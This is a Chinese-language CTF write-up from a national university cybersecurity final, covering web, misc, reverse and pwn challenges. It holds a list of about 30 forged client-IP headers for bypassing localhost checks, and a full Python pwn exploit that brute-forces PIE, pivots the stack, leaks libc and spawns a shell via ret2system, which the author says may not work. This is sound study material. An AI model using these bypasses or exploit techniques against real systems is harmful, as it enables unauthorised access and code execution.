欢迎光临
我们一直在努力

“复兴杯”第五届全国大学生网络安全精英赛-网络安全攻防赛道全国总决赛(赛后复现WriteUp)

WEB

签到题1

请根据页面提示找出flag。

根据请求方式不对的要求,改成POST

界面显示缺少flag参数

直接上脚本传参

import requests

url = ""

data = {
"flag": "your_flag_value"
}

response = requests.post(url, json=data, timeout=5)

print(f"Status Code: {response.status_code}")
print(f"Response Content: {response.text}")

签到题2

内部系统只信任来自内部客户端请求。

根据界面显示,需要本地用户访问,改IP为:127.0.0.1即可,

bp上直接用伪造本地ip

1 Client-IP:127.0.0.1
2 Forwarded-For-Ip: 127.0.0.1
3 Forwarded-For: 127.0.0.1
4 Forwarded-For: localhost
5 Forwarded:127.0.0.1
6 Forwarded: localhost
7 True-Client-IP:127.0.0.1
8 X-Client-IP: 127.0.0.1
9 X-Custom-IP-Authorization : 127.0.0.1
10 X-Forward-For: 127.0.0.1
11 X-Forward: 127.0.0.1
12 X-Forward: localhost
13 X-Forwarded-By:127.0.0.1
14 X-Forwarded-By: localhost
15 X-Forwarded-For-Original: 127.0.0.1
16 X-Forwarded-For-original: localhost
17 X-Forwarded-For: 127.0.0.1
18 X-Forwarded-For: localhost
19 X-Forwarded-Server: 127.0.0.1
20 X-Forwarded-Server: localhost
21 X-Forwarded: 127.0.0.1
22 X-Forwarded: localhost
23 X-Forwared-Host: 127.0.0.1
24 X-Forwared-Host: localhost
25 X-Host: 127.0.0.1
26 X-Host: localhost
27 X-HTTP-Host-Override : 127.0.0.1
28 X-Originating-IP: 127.0.0.1
29 X-Real-IP: 127.0.0.1
30 X-Remote-Addr: 127.0.0.1
31 X-Remote-Addr : localhost
32 X-Remote-IP: 127.0.0.1

页面显示:这不是专用浏览器Lysys,禁止访问。

继续骗服务端的文本判断,用User-Agent: Lysys得到完整的flag

MISC

中等题1

某公司Web服务器被入侵,现场提取了三份日志。请分析还原攻击过程并找到关键证据。

给了三份日志文件,盲猜应该是三段flag,进行拼接即可(比赛打多了……)

第一份日志放到随波逐流里,可以看到flag头

日志里搜索:ZmxhZ3s4MkFEM0M=

找到完整符合比赛官方给的flag格式

解码是:Ly_flag{82AD3C

第三份日志依旧如此

可以看到:Q0JGNDdFQUU3RjU3fQ==

解码是:CBF47EAE7F57}

第二份日志打开,进去搜索base64的特征,翻找一下就可以找到

NEY1NTBCNzIwQTcxMDQ= 解码是:4F550B720A7104

拼接成完整的flag:Ly_flag{82AD3C4F550B720A7104CBF47EAE7F57}

中等题2

流量题,根据给的题目描述:

IDS告警提示内网存在异常流量,安全团队分析发现DNS承载奇数分片、ICMP承载偶数分片。请从流量包中提取加密数据并解密恢复原文。

可以知道关键信息:

  • DNS 查询 = 奇数分片
  • ICMP Echo Request = 偶数分片

先列出所有数据包类型:

1 ICMP → 偶数分片
2 DNS → 奇数分片
3 ICMP → 偶数分片
4 DNS → 奇数分片
5 ICMP → 偶数分片
6 DNS → 奇数分片
7 ICMP → 偶数分片
8 DNS → 奇数分片
9 ICMP → 偶数分片
10 DNS → 奇数分片
11 ICMP → 偶数分片

提取每个 DNS 查询内的负载数据

01-4RSd37ao2rs=
03-TqcWJFg/di4=
05-JY3oiMvLTXM=
07-X/ZGmT00qgI=
09-EyQSW59uXp8=

ICMP 中先出现密钥:K:c8d4ac24ab339971cee2549f989cfde3

可以看到3、5、7、9、11都是十六进制,挨个转16进制转字符

2f443050345557455151733d -> /D0P4UWEQQs=
43423368677561784d73413d -> CB3hguaxMsA=
4c566f656873724a2b69493d -> LVoehsrJ+iI=
4443354e58794e677863593d -> DC5NXyNgxcY=
672f726b514f78526432303d -> g/rkQOxRd20=

按 01~10 顺序逐片 Base64 解码并拼接,得到 80 字节密文。使用 ICMP 中给出的 16 字节 key 进行 AES-ECB 解密,再去除 PKCS#7 padding,恢复明文为:

EXFIL:Ly_flag{0EE57F7237DE4E23F5549C4F8FE8A88C}|srv:web-01|ts:20260430

REVERSE

Reverse

运行程序后会有你想要的,建议在虚拟机中运行。

IDA Pro打开main.exe,发现验证逻辑:MXlmbGFne2Q0NDgwMmJlLTIzM3RoMXNJNS1mQGtlLWE0NGVkN2M0fQ==

解码是:1yflag{d44802be-233th1sI5-f@ke-a44ed7c4}

fake:假的,是假的flag,重新分析

使用PE分析工具查看main.exe的节表:

关键发现: .rsrc节大小约216KB,远超普通资源,暗示内嵌完整PE文件。

提取嵌入的check.exe,搜索MZ头

import struct

with open("main.exe", "rb") as f:
data = f.read()

# 搜索所有MZ头
for i in range(len(data) – 1024):
if data[i:i+2] == b'MZ':
pe_off = struct.unpack('<I', data[i+0x3C:i+0x40])[0]
if data[i+pe_off:i+pe_off+4] == b'PE\\x00\\x00':
print(f"Found PE at offset: 0x{i:x}")
#Found PE at offset: 0x0
#Found PE at offset: 0x14478

– offset 0x0 → 主程序本身
– offset 0x14478 → 嵌入的check.exe

提取出来check.exe:

#!/usr/bin/env python3
import os
import struct

def extract_check_exe(main_exe_path, output_path='check.exe'):
with open(main_exe_path, 'rb') as f:
data = f.read()

# 搜索第二个MZ头
pe_offset = None
for i in range(1024, len(data) – 1024):
if data[i:i+2] == b'MZ':
pe_off = struct.unpack('<I', data[i+0x3C:i+0x40])[0]
if data[i+pe_off:i+pe_off+4] == b'PE\\x00\\x00':
pe_offset = i
break

# 解析PE结构计算大小
e_lfanew = struct.unpack('<I', data[pe_offset+0x3C:pe_offset+0x40])[0]
fh_start = pe_offset + e_lfanew + 4
num_sections = struct.unpack('<H', data[fh_start+2:fh_start+4])[0]
opt_hdr_size = struct.unpack('<H', data[fh_start+16:fh_start+18])[0]
sh_start = fh_start + 20 + opt_hdr_size

# 计算总大小
max_end = 0
for i in range(num_sections):
offset = sh_start + i * 40
raw_ptr = struct.unpack('<I', data[offset+20:offset+24])[0]
raw_size = struct.unpack('<I', data[offset+16:offset+20])[0]
max_end = max(max_end, raw_ptr + raw_size)

# 提取并保存
check_exe = data[pe_offset:pe_offset+max_end]
with open(output_path, 'wb') as f:
f.write(check_exe)

print(f"Extracted {output_path} ({len(check_exe)} bytes)")
return len(check_exe)

if __name__ == '__main__':
extract_check_exe('main.exe')

分析:check.exe验证逻辑,线性方程组求解AES Key

通过反汇编 check.exe,提取到12个线性约束方程:

eqs = [
([0, 19, 0, 0, -2, 0, -17, 20, -12, 0, -1, -6, 0, 0, -8, -16], 588),
([7, 0, 0, 0, -6, 0, 0, -10, 0, 19, 15, 7, 0, 20, 0, 0], -4644),
([16, -19, 0, -13, 0, 19, 0, 0, 0, 0, 0, 1, 0, 0, -10, 19], -1911),
([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, -17, 0, 0], 1188),
([-16, 14, 0, 0, 16, 14, 12, 0, 0, 0, 0, 0, 0, 0, -8, -6], -3054),
([10, 0, -11, 7, 0, -13, -12, 0, 0, 0, 0, -2, 0, 3, 14, 0], 273),
([-14, 0, 0, 0, -5, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, -18], 3201),
([19, -15, 0, 19, -20, -6, 17, 0, 14, -16, 5, 20, 2, 0, 10, 0], -1558),
([6, 10, -17, 15, 6, 6, 9, -4, 3, 11, 15, 9, -17, 3, 3, -9], -4114),
([18, 0, -9, 6, 0, -5, 0, 7, 0, -13, 0, 0, 0, -16, 0, -1], 914),
([0, 0, 0, 0, 0, 12, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0], -1696),
([2, -15, -9, 0, 8, 0, 20, 0, -7, -8, 0, 0, 0, -19, 0, 0], 2941),
]

求解结果也就是:AES Key: nw52sj9550b8bt1N

紧接着提取密文和IV,从check.exe的.rdata节提取:

with open("check.exe", "rb") as f:
data = f.read()

# 搜索IV字符串定位密文
iv_pos = data.find(b'0123456789123456')
cipher_pos = iv_pos – 48 # 密文在IV前48字节

ciphertext = data[cipher_pos:cipher_pos+48]
iv = data[iv_pos:iv_pos+16]

print("Ciphertext:", ciphertext.hex())
print("IV:", iv.decode())
#Ciphertext: dee86e34a1b506016c6ea1bd7fc5aff89d2e8043a0bb80973a6a8716f96215fea3cfa91ea209c27313b4b51e92b71d43
#IV: 0123456789123456

用AES-128-CBC解密得到结果:Ly_Flag{081ead5eb83616670b452ef979bbb63e}

也可脚本:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = b'nw52sj9550b8bt1N'
iv = b'0123456789123456'
ciphertext = bytes.fromhex('dee86e34a1b506016c6ea1bd7fc5aff89d2e8043a0bb80973a6a8716f96215fea3cfa91ea209c27313b4b51e92b71d43')

cipher = AES.new(key, AES.MODE_CBC, iv)
padded = cipher.decrypt(ciphertext)

print("解密后:", repr(padded))

result = unpad(padded, AES.block_size)
print("Unpad后:", result.decode())
# Output: Ly_Flag{081ead5eb83616670b452ef979bbb63e}

PWN

Pwn

保护:PIE + Full RELRO + NX,无 Canary

但只有 0x40 字节输入,刚好覆盖 saved rbp/saved rip

需要用:

  • %s 越界泄漏 PIE;
  • 低 2 字节爆破 partial overwrite 回到 vuln;
  • 利用 vuln+0x35 的 read 片段做栈迁移/伪栈;
  • 再泄漏 libc 后 ret2system。

(可能脚本不对,但大致思路是这么个思路,由于现在没有环境打远端)

命令:python3 exp.py REMOTE IP 端口 given

exp:

#!/usr/bin/env python3
import os
import sys
import time
import struct
import socket
import subprocess
import select

# Binary config
BIN = os.environ.get('BIN', './Start_over')

# Binary file offsets
VULN = 0x11c9
VULN_SKIP = 0x11d1
READ_PART = 0x11fe
POP_RBP = 0x11b3
LEAVE = 0x1231
READ_GOT = 0x3fc8

# Two sets of libc offsets
LIBCS = {
'system': {
'read': 0x103ed0,
'system': 0x53110,
'binsh': 0x1a5d64,
'pop_rdi': 0x2a145,
'ret': 0x6f4
},
'given': {
'read': 0x1147d0,
'system': 0x50d70,
'binsh': 0x1d86f8,
'pop_rdi': 0x2a3e5,
'ret': 0x99e
}
}

# Pack / Unpack utilities
def p64(x: int) -> bytes:
return struct.pack('<Q', x & 0xffffffffffffffff)

def p16(x: int) -> bytes:
return struct.pack('<H', x & 0xffff)

def u64(b: bytes) -> int:
return struct.unpack('<Q', b.ljust(8, b'\\x00')[:8])[0]

class Tube:
def __init__(self, host=None, port=None):
self.buf = b''
self.sock = None
self.p = None
self.fd = None

if host:
# Remote socket
self.sock = socket.create_connection((host, int(port)), timeout=5)
self.fd = self.sock.fileno()
else:
# Local subprocess
self.p = subprocess.Popen(
[BIN],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT
)
self.fd = self.p.stdout.fileno()

def send(self, data: bytes):
if self.sock:
self.sock.sendall(data)
else:
try:
self.p.stdin.write(data)
self.p.stdin.flush()
except BrokenPipeError:
pass

def recv_some(self, t: float = 0.2) -> bytes:
r, _, _ = select.select([self.fd], [], [], t)
if not r:
return b''
try:
if self.sock:
return self.sock.recv(4096)
else:
return os.read(self.fd, 4096)
except Exception:
return b''

def recvuntil(self, tok: bytes, timeout: float = 2.0) -> bytes:
end = time.time() + timeout
while tok not in self.buf and time.time() < end:
chunk = self.recv_some(max(0.01, end – time.time()))
if chunk:
self.buf += chunk
elif self.p and self.p.poll() is not None:
break
if tok in self.buf:
idx = self.buf.index(tok) + len(tok)
out = self.buf[:idx]
self.buf = self.buf[idx:]
return out
out = self.buf
self.buf = b''
return out

def recvall(self, t: float = 0.8) -> bytes:
out = b''
end = time.time() + t
while time.time() < end:
chunk = self.recv_some(0.05)
if chunk:
out += chunk
end = time.time() + t
elif self.p and self.p.poll() is not None:
break
return out

def close(self):
try:
if self.sock:
self.sock.close()
if self.p:
self.p.kill()
except Exception:
pass

def interactive(self):
print("[*] Enter interactive shell", file=sys.stderr)
try:
while True:
r, _, _ = select.select([self.fd, sys.stdin.fileno()], [], [])
if self.fd in r:
data = self.recv_some(0)
if not data:
break
os.write(sys.stdout.fileno(), data)
if sys.stdin.fileno() in r:
data = os.read(sys.stdin.fileno(), 4096)
if not data:
break
self.send(data)
except KeyboardInterrupt:
print("\\n[*] Interactive exit", file=sys.stderr)

def tail(output: bytes) -> bytes:
pos = output.rfind(b'Message: ')
return b'' if pos < 0 else output[pos + 9:]

def start(remote: bool = False, host=None, port=None) -> Tube:
return Tube(host, port) if remote else Tube()

def brute_pie(remote: bool, host, port) -> tuple[Tube, int]:
for attempt in range(128):
k = attempt & 0xf
io = start(remote, host, port)
io.recvuntil(b'> ', 2)

low_part = (k * 0x1000 + VULN) & 0xffff
payload = b'A' * 0x30 + b'B' * 8 + p16(low_part)
io.send(payload)

out = io.recvuntil(b'> ', 1.2)
if b'Welcome to My Notes System' in out:
msg_data = tail(out)
marker_off = msg_data.find(b'B' * 8)
if marker_off >= 0 and len(msg_data) >= marker_off + 14:
leak_val = u64(msg_data[marker_off+8:marker_off+14])
pie_base = leak_val – VULN
if (pie_base & 0xfff) == 0:
print(f"[+] PIE base: {pie_base:#x}", file=sys.stderr)
return io, pie_base
io.close()
raise RuntimeError("PIE brute force exhausted, no valid base found")

def exploit(remote: bool, host, port, kind: str):
io, pie = brute_pie(remote, host, port)

# Calculate runtime VA
vuln_va = pie + VULN
vuln_skip_va = pie + VULN_SKIP
read_part_va = pie + READ_PART
pop_rbp_va = pie + POP_RBP
leave_va = pie + LEAVE
read_got_va = pie + READ_GOT

START = pie + 0x4fc0
H1 = START + 0x10
H2 = START + 0x20

# Stage 1: Jump to vuln_skip
stage1 = b'C' * 0x30 + p64(START + 0x30) + p64(vuln_skip_va)
io.send(stage1)
out = io.recvuntil(b'> ', 2)
print(f"[DEBUG vuln_skip output raw]: {repr(out)}", file=sys.stderr)

if b'> ' not in out:
raise RuntimeError("failed to enter first vuln_skip, program crashed")

# Stage 2: Payload for vuln_skip writing to START
enter_buf = bytearray(b'\\x00' * 0x40)
enter_buf[0x30:0x38] = p64(START + 0x30)
enter_buf[0x38:0x40] = p64(read_part_va)
io.send(bytes(enter_buf))

# Stage3: First READ_PART payload to setup fake stack H1/H2
first_buf = bytearray(b'\\x00' * 0x40)
first_buf[0x00:0x08] = p64(START)
first_buf[0x08:0x10] = p64(read_part_va)
first_buf[0x10:0x18] = p64(read_got_va + 0x30)
first_buf[0x18:0x20] = p64(vuln_skip_va)
first_buf[0x20:0x28] = p64(0)
first_buf[0x28:0x30] = p64(vuln_va)
first_buf[0x30:0x38] = p64(START)
first_buf[0x38:0x40] = p64(leave_va)
io.send(bytes(first_buf))

# Stage4: Chain stack pivot down to pie+0x4030
T = START – 0x30
while T > pie + 0x4030:
pay = bytearray(b'D' * 0x40)
pay[0x00:0x08] = p64(T)
pay[0x08:0x10] = p64(read_part_va)
pay[0x30:0x38] = p64(T)
pay[0x38:0x40] = p64(leave_va)
io.send(bytes(pay))
T -= 0x30

# Stage5: Target T = pie+0x4030
pay_t = bytearray(b'E' * 0x40)
pay_t[0x00:0x08] = p64(T)
pay_t[0x08:0x10] = p64(read_part_va)
pay_t[0x10:0x18] = p64(H1)
pay_t[0x18:0x20] = p64(leave_va)
pay_t[0x30:0x38] = p64(T)
pay_t[0x38:0x40] = p64(leave_va)
io.send(bytes(pay_t))

# Stage6: Final READ_PART for GOT leak preparation
low_buf = bytearray(b'F' * 0x40)
low_buf[0x00:0x08] = p64(pop_rbp_va)
low_buf[0x08:0x10] = p64(H2)
low_buf[0x10:0x18] = p64(leave_va)
low_buf[0x38:0x40] = p64(pop_rbp_va)
io.send(bytes(low_buf))

# Receive libc leak
out_leak = io.recvuntil(b'> ', 4)
t_leak = tail(out_leak)
if len(t_leak) < 6:
print(f"[DEBUG LEAK HEX]: {out_leak.hex()}", file=sys.stderr)
raise RuntimeError("libc leak failed")

read_got_leak = u64(t_leak[:6])
libc_base = read_got_leak – LIBCS[kind]['read']
print(f"[+] read@GOT leak: {read_got_leak:#x}", file=sys.stderr)
print(f"[+] libc base: {libc_base:#x}", file=sys.stderr)

# Build ret2system ROP
fake_buf = H2 – 0x28
libc_off = LIBCS[kind]
pop_rdi_libc = libc_base + libc_off['pop_rdi']
ret_libc = libc_base + libc_off['ret']
system_libc = libc_base + libc_off['system']
binsh_libc = libc_base + libc_off['binsh']

final_buf = bytearray(b'\\x00' * 0x40)
final_buf[0x00:0x08] = p64(0)
final_buf[0x08:0x16] = p64(ret_libc)
final_buf[0x16:0x24] = p64(pop_rdi_libc)
final_buf[0x24:0x32] = p64(binsh_libc)
final_buf[0x32:0x40] = p64(system_libc)
final_buf[0x30:0x38] = p64(fake_buf)
final_buf[0x38:0x40] = p64(leave_va)
io.send(bytes(final_buf))

# Test command
time.sleep(0.2)
io.send(b'echo PWNED; id\\n')
time.sleep(0.2)
print(io.recvall(1).decode('latin-1', 'replace'), end='')
return io

if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1].upper() in ("REMOTE", "R"):
if len(sys.argv) < 4:
print(f"Usage: python3 {sys.argv[0]} REMOTE host port [given|system]", file=sys.stderr)
sys.exit(1)
arg_kind = sys.argv[4] if len(sys.argv) > 4 else "given"
io = exploit(True, sys.argv[2], int(sys.argv[3]), arg_kind)
else:
arg_kind = sys.argv[1] if len(sys.argv) > 1 else "system"
io = exploit(False, None, None, arg_kind)
io.interactive()

侵权联系删

赞(0)
未经允许不得转载:171主机测评 » “复兴杯”第五届全国大学生网络安全精英赛-网络安全攻防赛道全国总决赛(赛后复现WriteUp)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址